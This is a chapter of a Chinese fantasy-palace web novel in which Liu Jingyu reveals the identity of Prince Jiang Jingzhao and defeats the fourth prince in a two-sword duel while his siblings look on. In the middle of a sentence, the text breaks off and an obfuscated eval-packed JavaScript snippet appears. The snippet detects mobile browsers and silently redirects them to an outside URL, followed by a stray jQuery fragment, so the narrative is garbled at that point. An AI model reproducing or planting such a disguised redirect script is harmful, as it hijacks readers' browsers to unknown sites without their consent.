“山城的故事就这样结束了。”柳惊语说。
那一晚,她脑子一片空白,完全不记得了自己是怎么离开的高塔,只是清醒过来时,她和三个护卫已然站在站在高塔之下。
“山城的故事里肯定有人推手。”望着高塔,柳惊语失神地想。
——在这个世界,这很正常。
有人费尽心机,却也躲不过意外,山城的最后价值终究还是落在了一个外人的手中。
第五日的清晨,山城城门大开。
柳惊语她们互相搀扶着走出了山城,身后火光冲天,她们头也不回地走远。
直到走进下一座城里,在酒楼沉默着吃饭时,柳惊语才想起了什么一般问店家:
“你听说过山城吗?”
店家端着菜盘,闻言,露出一脸疑惑和迷茫,而后笑道:“山城?是我们大宸的一座城?还是别的地方的?不怎么出名啊,名声传不到我们这里。”
柳惊语了然。
“那个人是谁?”
亭中的江景濉问道。
“对啊对啊。”江景纵奇怪地说道,“很有名吗?难道会是我们都认识的人?”
柳惊语脸上的笑意愈发明显了,嘴角微勾,薄唇轻吐出三个字:
“江景昭。”
她笑盈盈地道:“那个红衣人是景昭殿下。”
此话一出,小亭内霎时鸦雀无声。
江景昭,名声赫赫的江景昭,在大渊皇宫里无人不知却又神龙见首不见尾的江景昭。
“确实有名,也确实认识。”江景濉忽然笑了一下。
柳惊语嘴角上扬着,笑着垂眼看向手中瓷杯中的茶水——这就算是,她送给他们的一份见面礼吧。
“真危险啊……”
江景渐感慨一声,转眼将目光落在了旁边安静的少女身上。
闻言,江景纵下意识撇了撇嘴角咕囔道:“遇见她,不知道危险的是谁……”
然而下一瞬,他就立马噤了声,僵硬着一顿一顿地转过脑袋,强颜欢笑地看向旁边的柳惊语。
他眼前的桃红衣裙少女微微仰头看着他,眼中含泪,拈着桃红色帕子的手指颤抖着蜷起,“殿下,您就这样讨厌我吗……”
甜腻的嗓音微微发颤,她的眼眸中满是悲恸之意。
江景纵整个人都呆滞了。
他微微张着嘴,久久不能回神,只是心里下意识咆哮道:“你方才还在故事里大杀四方,现在装出这一副弱柳扶风的模样,有谁会相信啊?!!”
不等柳惊语再说,江景纵木着一张脸果断地道:“我错了。”
“这般不情愿吗……那我还是走了好了,早早离开皇宫,免得殿下看了生厌。”柳惊语泫然欲泣,用着最可怜的语气说着最不依不饶的话,时不时抬起帕子掩了掩自己上扬的嘴角。
江景纵……想给她磕两个头求她别说了。
就在这时,江景濉轻轻咳嗽了两声,获得了江景纵转来的期盼目光。然而江景濉只是对他笑了一下,江景纵顿时心生不妙,眼神逐渐惶恐,看着他无声地哀求起来。
江景濉笑容不变,看着他说道:“老四这么说,是对柳小姐的实力很有信心吗?”
闻风而动的江景渐也挑了挑眉,抬眼看向对面的江景纵,笑了:“看来柳小姐武力超群。只是不知道与老四比起来,是谁更甚一筹?”
天杀的!!!
这两个小人——
江景纵心死了。
“我也很好奇呢。”柳惊语放下桃红的帕子,脸上的笑意愈发明显,不再掩饰,她声音柔柔地说道,“不知道四殿下有没有兴趣比试一场?”
江景鸢三人齐齐看向面色难看的江景纵,饶有趣味的,眼眸中多多少少带着几分兴奋。
呵呵,呵呵……江景纵脸上的表情扭曲了几下。
小人,都是小人——
顿了顿,他的面色冷静了下来,抬眼看着柳惊语,勾了勾嘴角回道:
“好啊。”
从前打不过又怎么能代表现在打不过呢?
——就算不敌,他也绝不怯战。
骄阳下,小亭外,一红一紫两道身影相对而立,遥遥相望。
桃红衣裙的少女手腕一转,手中出现一柄流转着寒光的长刀,她身姿挺拔,衣袂被风吹得轻摆,朝着面前之人笑着说:“请指教,四殿下。”
她眼眸含笑,眉眼间一片自信和傲然。
而她面前的紫衣少年面色肃然,手持长刀,眼眸中满是警惕和浓浓的战意。他没有说话,手里握紧了长刀,一双眼眸紧紧地盯着不远处的少女。
呼——!
狂风刮过,大片大片花草弯下腰,如海水般波涛汹涌——
无形狂风裹挟着一道紫衣身影如同离弦之箭般猛然爆发,径直冲向不远处傲然屹立的身影。阳光下,银白的长刀划过天边骄阳,破空而来,砍向那道桃红身影。
狂暴的劲风以一种势不可挡的架势迎面袭来,柳惊语站在原地,嘴角扬着一抹淡定自如的浅笑,没有丝毫慌乱,面对如此狂暴的攻势她并不躲避,反而提着长刀迎了上去!
“铛!!!”
四目相对,一红一紫两人眼中燃烧着熊熊烈火般的战意,如同无声的挑衅。
——那就来看看,你这两年的长进!
柳惊语嘴角上扬,目光灼灼,气势如同高悬在天的骄阳。
江景纵眸光中闪烁着森森寒光,身周气势冷冽。
目光交汇,两刀相触即分。
柳惊语长刀一挥——
紫衣身影顺着她的力道踏空后退,长刀一转,“铛——”挡下横扫而来的寒刀。
柳惊语眼眸一厉,手上力道加重,长刀压过长刀狠狠劈向面前的紫衣身影。
长刀划过,发出破空之声,而面前之人却是凭空消失!
柳惊语轻笑一声。
要躲了吗?
下一瞬!
她的身后凭空出现一道紫衣身影,墨发与衣袖飞扬,江景纵双手握刀从天向下朝着面前的桃红身影砍去——
“铛!”
“铛铛铛——铛!”
天地之间,狂风刮过一阵又一阵,或急或缓。一红一紫两道身影各手持长刀,从天上打到地上,又从地上打到天上,打得难舍难分,打得无数草木尽折腰。
不远处的小亭里,江景鸢的视线跟随着那两道时聚时散的身影,心中不自觉地感慨一二,原来柳惊语用的是这种大开大合、拳拳到肉的打法吗?
起先在听了柳惊语讲述的故事时,她以为柳惊语的打法会更偏向灵巧型……怎么到现在,躲避和迂回的反而是江景纵。
她看着,耳边忽然响起江景渐的声音:“并非如此。”
江景鸢眼眸一动,转头看向身边的江景渐。江景渐搂过她的肩膀,搓了搓她的头顶,声音含笑:“柳惊语的打法算是综合型,一直以来的江景纵才是大开大合的打法。
“只不过他们两个现在说是比试,却没有一人急着要赢,反而是想将他们两人的实力尽数发挥出来罢了。
“如此,不躲不避,才能打得尽兴。
“若非是在宫里,他们怕是都会舍了刀,拳拳相碰,打得双方皆是鼻青脸肿。”
江景渐的视线转向不远处的那道紫衣身影,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079314|160054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和江景鸢说道:“而现在江景纵一再避让,且试图用战术取胜,只不过是他打不过柳惊语,只能一而再再而三地避开罢了。”
江景鸢心中恍然,面不改色地轻轻“嗯”了一声。
看着看着,江景鸢忽然感到有一抹难以忽视的炽热视线落在自己身上,她下意识转头,就见一旁的江景濉在失魂落魄地看着她,整个人仿佛可怜兮兮的落水狗。
“……?”
江景鸢一愣,不明所以地瞅了江景濉好几眼都不见他有所表示,目光一动,刚想转回去看亭子外的战况,就听江景濉低落地开口了:“小鸢……”
“?”江景鸢又把刚转动几分的视线转回了身旁,只见江景濉眸光闪烁,直直地看着她……的头顶?
一副渴望又不敢说的可怜模样。
江景濉嘴唇翕动,小心翼翼地低声说:“小鸢,我……”
不可以。江景鸢果断转开视线,抬手把江景渐的手从自己头顶上扯了下来丢向一边儿,专注地看向小亭外打得有来有回的两道人影。
江景濉:“……”
江景渐:“……?”不是,这关他什么事啊?
暖洋洋的阳光落满天地,江景纵抿着嘴唇,脸上一片冷冽的肃然,眸光一闪,凌空翻身,手握长刀从天而落,砸向站在地面上的柳惊语,刀光劈下——
“铛——”
柳惊语抬头,右手长刀果断挡在面前,左手手腕一翻,握紧一柄凭空出现的长刀,朝着面前之人的腹部横扫而去。
——她竟然使的是双刀!
亭中三人看得微微诧异。
然而江景纵眼中却无一丝一毫的惊讶——他早已知晓。
面对如此强势又苛刻的攻势,他眉头一皱,果断抽刀退开。衣袂飘动间,他足尖一落地,刚一抬眼就见面前突然有一人以极快的速度逼近他!
江景纵瞳孔一缩,手中的长刀来不及挥出,就见面前之人嘴角一勾。
“砰!”
紫衣少年整个人在下一瞬就毫无招架之力地被她一脚踹飞了出去。
“咚!”
亭子里的三人只见天边滑过一道如鸿雁般的紫色身影。
江景纵摔进草木间不见踪迹,而站在天地间的少女仰着笑脸,不紧不慢地收起双刀,傲然屹立。
胜负已定。
哗——
小亭子里响起一片掌声。
“嘶……”一道格外不和谐的声音从远处响起。
草木间,一道略显狼狈的人影颤颤巍巍地从草丛间爬了起来,他一手按着肚子,一手扶着腰,气急败坏又只能发出气若游丝的声音朝着远处亭子里的三人叫道:“快,快,快来,扶我一下啊……”
亭内三人面面相觑。
江景鸢不可能去的,但她有些意外的是江景渐和江景濉也没有动作,他们两个甚至连踌躇都没有,十分淡定地坐在亭中望着远远的那道紫衣身影。
江景濉笑了一下,轻声与她解释道:“柳家小姐在那里,我们去的话不合适。”
“……?”
这有什么不合适的?
江景鸢不解,江景鸢不说话。
她旁边的江景渐也侧过脑袋说:“大不了江景纵自己慢点走回来就是了。不要紧,这点伤对我们来说都是常态了,更严重的伤也不是没受过。”
说完,江景渐目光灼灼地看着她。
江景鸢一懵,不明白他怎么又摆出这幅模样,顿了顿,而后仔细品读了一番他说的话,嘴角不可遏制地动了动,她顶着江景渐期待的目光,道:“……辛苦了。”
江景渐顿时眉开眼笑:“不辛苦。”